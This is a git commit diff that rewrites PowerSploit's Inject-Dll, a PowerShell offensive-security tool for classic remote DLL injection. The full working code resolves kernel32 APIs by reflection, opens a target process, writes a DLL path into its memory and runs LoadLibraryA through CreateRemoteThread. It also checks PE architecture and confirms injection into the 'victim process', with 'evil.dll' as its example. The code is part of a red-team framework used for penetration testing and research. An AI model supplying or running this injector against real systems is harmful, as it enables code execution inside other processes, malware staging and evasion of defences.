Nearly complete rewrite of Inject-Dll

The functionality remains the same but the code was cleaned up
drastically to be more consistent with PowerShell scripting best
practices.
This commit is contained in:
bitform
2012-09-21 12:13:16 -04:00
parent 688ba7911c
commit 60670bd95e
+218 -87
View File
@@ -1,68 +1,90 @@
function Inject-Dll {
<#
.Synopsis
.SYNOPSIS
PowerSploit Module - Inject-Dll
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
.Description
PowerSploit Module - Inject-Dll
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Inject-Dll injects a Dll into the process ID of your choosing.
.Parameter ProcessID
.DESCRIPTION
Process ID of the process you want to inject a Dll into.
.Parameter Dll
Inject-Dll injects a Dll into the process ID of your choosing.
Name of the dll to inject. This can be an absolute or relative path.
.Example
.PARAMETER ProcessID
PS> Inject-DLL 4274 evil.dll
Description
-----------
Inject 'evil.dll' into process ID 4274.
.Notes
Process ID of the process you want to inject a Dll into.
Use the '-Verbose' option to print detailed information.
.Link
.PARAMETER Dll
My blog: http://www.exploit-monday.com
Name of the dll to inject. This can be an absolute or relative path.
.EXAMPLE
C:\PS> Inject-DLL -ProcessID 4274 -Dll evil.dll
Description
-----------
Inject 'evil.dll' into process ID 4274.
.NOTES
Use the '-Verbose' option to print detailed information.
.LINK
http://www.exploit-monday.com
#>
Param (
[Parameter(Position = 0, Mandatory = $True)] [Int] $ProcessID,
[Parameter(Position = 1, Mandatory = $True)] [String] $Dll
[Parameter( Position = 0,
Mandatory = $True )]
[Int]
$ProcessID,
[Parameter( Position = 1,
Mandatory = $True )]
[String]
$Dll
)
try {
# Confirm that the process you want to inject into exists
try
{
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
} catch [System.Management.Automation.ActionPreferenceStopException] {
Write-Warning "Process does not exist!"
return
}
catch [System.Management.Automation.ActionPreferenceStopException]
{
Throw "Process does not exist!"
}
try {
# Confirm that the path to the dll exists
try
{
$Dll = (Resolve-Path $Dll -ErrorAction Stop).Path
Write-Verbose "Full path to Dll: $Dll"
$AsciiEncoder = New-Object System.Text.ASCIIEncoding
# Save the name of the dll in an ascii-encoded format. This name will be injected into the remote process.
$DllByteArray = $AsciiEncoder.GetBytes($Dll)
} catch [System.Management.Automation.ActionPreferenceStopException] {
Write-Warning "Invalid Dll path!"
return
}
catch [System.Management.Automation.ActionPreferenceStopException]
{
Throw "Invalid Dll path!"
}
function Get-DelegateType
function Local:Get-DelegateType
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters,
[Parameter(Position = 1)] [Type] $ReturnType = [Void]
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
@@ -75,14 +97,22 @@ function Inject-Dll {
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
return $TypeBuilder.CreateType()
Write-Output $TypeBuilder.CreateType()
}
function Get-ProcAddress
function Local:Get-ProcAddress
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
@@ -96,11 +126,73 @@ function Inject-Dll {
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Local:Get-PEArchitecture
{
Param
(
[Parameter( Position = 0,
Mandatory = $True )]
[String]
$Path
)
# Parse PE header to see if binary was compiled 32 or 64-bit
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
[Byte[]] $MZHeader = New-Object Byte[](2)
$FileStream.Read($MZHeader,0,2) | Out-Null
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
if ($Header -ne 'MZ')
{
$FileStream.Close()
Throw 'Invalid PE header.'
}
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $lfanew = New-Object Byte[](4)
# Read offset to the PE Header (will be read in reverse)
$FileStream.Read($lfanew,0,4) | Out-Null
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
# Read compiled architecture
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
$FileStream.Close()
if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
{
Throw 'Invalid PE header or unsupported architecture.'
}
if ($Architecture -eq '014C')
{
Write-Output 'X86'
}
elseif ($Architecture -eq '8664')
{
Write-Output 'X64'
}
else
{
Write-Output 'OTHER'
}
}
# Get addresses of and declare delegates for essential Win32 functions.
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
@@ -120,50 +212,75 @@ function Inject-Dll {
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
$64bitCPU = $true
# Assume CPU to be 64-bit unless determined otherwise.
$64bitCPU = $True
if ([IntPtr]::Size -eq 4) { $PowerShell32bit = $true } else { $PowerShell32bit = $false }
# Determine the bitness of the running PowerShell process based upon the size of the IntPtr type.
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $True
}
else
{
$PowerShell32bit = $False
}
# The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
if ($IsWow64ProcessAddr) {
if ($IsWow64ProcessAddr)
{
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
} else {
$64bitCPU = $false
}
else
{
# IsWow64Process does not exist and thus, the CPU is not 64-bit.
$64bitCPU = $False
}
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess) { Write-Warning 'Unable to open process handle.'; return }
if (!$hProcess)
{
THrow 'Unable to open process handle.'
}
$Architecture = Get-PEArchitecture $Dll
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
{
# Parse PE header to see if DLL was compiled 32 or 64-bit
$DllFileStream = New-Object System.IO.FileStream($Dll, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
$temp = $DllFileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin)
[Byte[]]$TempByteArray = New-Object Byte[](4)
# Read offset to the PE Header (will be read in reverse)
$Temp = $DllFileStream.Read($TempByteArray,0,4)
$PEOffset = [Int] ('0x{0}' -f (( $TempByteArray[-1..-4] | % { $_.ToString('X2') } ) -join ''))
Write-Verbose "PE Offset: 0x$($PEOffset.ToString('X8'))"
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
$DllFileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]]$TempByteArray2 = New-Object Byte[](2)
# Read compiled architecture
$Temp = $DllFileStream.Read($TempByteArray2,0,2)
$Architecture = '{0}' -f (( $TempByteArray2[-1..-2] | % { $_.ToString('X2') } ) -join '')
Write-Verbose "DLL Architecture: 0x$Architecture"
if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) { Write-Warning 'Only x86 or AMD64 architechtures supported.'; return }
$DllFileStream.Close()
# Determine is the process specified is 32 or 64 bit
$IsWow64 = $false
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ( $PowerShell32bit -and ($Architecture -eq "8664") ) {
Write-Warning 'You cannot manipulate 64-bit code within 32-bit PowerShell. Open the 64-bit version and try again.'; return
if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') )
{
Throw 'Only x86 or AMD64 architechtures supported.'
}
# Determine is the process specified is 32 or 64 bit. Assume that it is 64-bit unless determined otherwise.
$IsWow64 = $False
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ( $PowerShell32bit -and ($Architecture -eq 'X64') )
{
Throw 'You cannot manipulate 64-bit code within 32-bit PowerShell. Open the 64-bit version and try again.'
}
if ( (!$IsWow64) -and ($Architecture -eq 'X86') )
{
Throw 'You cannot inject a 32-bit DLL into a 64-bit process.'
}
if ( $IsWow64 -and ($Architecture -eq 'X64') )
{
Throw 'You cannot inject a 64-bit DLL into a 32-bit process.'
}
}
else
{
if ($Architecture -ne 'X86')
{
Throw 'PE file was not compiled for x86.'
}
if ((!$IsWow64) -and ($Architecture -eq "014C")) { Write-Warning 'You cannot inject a 32-bit DLL into a 64-bit process.'; return }
if ($IsWow64 -and ($Architecture -eq "8664")) { Write-Warning 'You cannot inject a 64-bit DLL into a 32-bit process.'; return }
}
# Get address of LoadLibraryA function
@@ -171,18 +288,23 @@ function Inject-Dll {
Write-Verbose "LoadLibrary address: 0x$($LoadLibraryAddr.ToString("X$([IntPtr]::Size*2)"))"
# Reserve and commit memory to hold name of dll
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (Reserve|Commit, RW)
if ($RemoteMemAddr -eq [IntPtr]::Zero) { Write-Warning 'Unable to allocate memory in remote process.'; return }
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW)
if ($RemoteMemAddr -eq [IntPtr]::Zero)
{
Throw 'Unable to allocate memory in remote process.'
}
Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
Write-Verbose "Number of chars in Dll path: $($DllByteArray.Length)"
# Write the name of the dll to the remote process address space
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $DllByteArray, $Dll.Length, [Ref] 0) | Out-Null
Write-Verbose "Dll path written sucessfully."
# Execute dll as a remote thread
$threadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$threadHandle) { Write-Warning 'Unable to launch remote thread.'; return }
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw 'Unable to launch remote thread.'
}
$VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
@@ -190,6 +312,15 @@ function Inject-Dll {
$CloseHandle.Invoke($hProcess) | Out-Null
Write-Verbose 'Dll injection complete!'
Write-Verbose 'Execute `(Get-Process -Id [ProcessId]).Modules` to confirm.'
}
# Extract just the filename from the provided path to the dll.
$FileName = Split-Path $Dll -Leaf
$DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } | fl * | Out-String
if (!$DllInfo)
{
Throw "Dll did dot inject properly into the victim process."
}
Write-Verbose "Injected DLL information:$($DllInfo)"
}